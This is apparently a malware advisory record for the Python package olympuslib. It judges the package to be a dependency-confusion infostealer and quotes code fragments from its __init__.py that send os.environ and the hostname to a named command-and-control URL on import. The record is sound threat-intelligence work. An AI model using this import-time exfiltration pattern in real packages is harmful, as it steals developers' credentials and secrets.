GCVE-110-OSM-2026-11628

During import, the package exfiltrates environment variables. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-amirgo4496 Reasons (based on the campaign): - exfiltration-env-variables - dependency-confusion - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. Judge assessment: This looks like a dependency-confusion style infostealer: importing `src/olympuslib/__init__.py` immediately calls `_canary()` and posts a JSON blob containing `os.environ` and `socket.gethostname()` to `https://vuorblucjega.dssldrf.net/python-install-log/olympuslib`. The attacker model is clear and malicious because the code collects environment variables and ships them to a custom C2 domain, which is classic credential and secret harvesting during import. The `python-file-upload`, `system-info-exfil`, and `http-exfiltration` findings are corroborated directly by the file content and the IOC classification marks the domain as `custom-c2`. The minimal metadata and `99.99.0` versioning further fit a throwaway poisoned package rather than a legitimate library. DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Python File Upload to Remote in src/olympuslib/__init__.py: "urllib.request.Request( "https://vuorblucjega.dssldrf.net/python-install-log/oly..." - System Information Exfiltration in src/olympuslib/__init__.py: "socket.gethostname(), "env": env_vars, }).encode() req = urllib.request.Request(..." - HTTP Data Exfiltration in src/olympuslib/__init__.py: "socket.gethostname(), "env": env_vars, }).encode() req = urllib" - Network Request in src/olympuslib/__init__.py: "Request( "https:" - System Information Collection in src/olympuslib/__init__.py: "socket.gethostname()" PAYLOAD FILES src/olympuslib/__init__.py